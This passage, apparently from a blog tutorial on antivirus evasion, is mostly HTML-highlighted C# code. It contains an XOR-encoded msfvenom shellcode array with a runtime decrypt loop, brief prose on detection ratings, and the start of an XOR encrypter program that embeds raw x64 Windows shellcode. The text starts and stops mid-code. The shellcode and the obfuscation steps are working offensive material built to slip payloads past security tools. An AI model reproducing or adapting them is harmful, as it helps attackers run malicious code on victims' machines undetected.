<span class="m">0xaf</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xe5</span><span class="p">,</span> <span class="m">0xbc</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x15</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x09</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x09</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x09</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x15</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x15</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x1e</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x15</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0xfe</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x91</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xbc</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x7e</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0xe4</span><span class="p">,</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x7c</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xb5</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x91</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xe9</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xa0</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xbe</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0xc8</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x7d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xb9</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xb9</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xa0</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span> <span class="p">};</span>
            <span class="c1">// XOR decrypt, key is set to 'z'</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)(</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)</span><span class="sc">'z'</span><span class="p">);</span>
            <span class="p">}</span> 
</code></pre></div></div>

<p>We also add a for loop to decrypt the XOR payload at runtime.</p>

<p>So, what are the results for this version?</p>

<p><img src="/assets/images/msfvenom-xor-results-743x1024.png" alt="msfvenom-xor-results" /></p>

<p>And.. there is no change in the detection rating.</p>

<p>This could possibly be improved by encrypting the payload with a custom XOR encrypter.</p>

<p>However, this is ultimately unnecessary, as you will see later in this post.</p>

<p>Just for fun, I will show the results of this regardless.</p>

<p>We can create another simple C# console app to do this.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>
<span class="c1">//XOR Encrypter</span>
<span class="k">namespace</span> <span class="nn">XorCrypt</span>
<span class="p">{</span>
    <span class="k">internal</span> <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">//Payload C# byte array from MSFVENOM</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">676</span><span class="p">]</span> <span class="p">{</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xe4</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0xcc</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x60</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xb7</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x61</span><span class="p">,</span> <span class="m">0x7c</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xed</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x81</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span 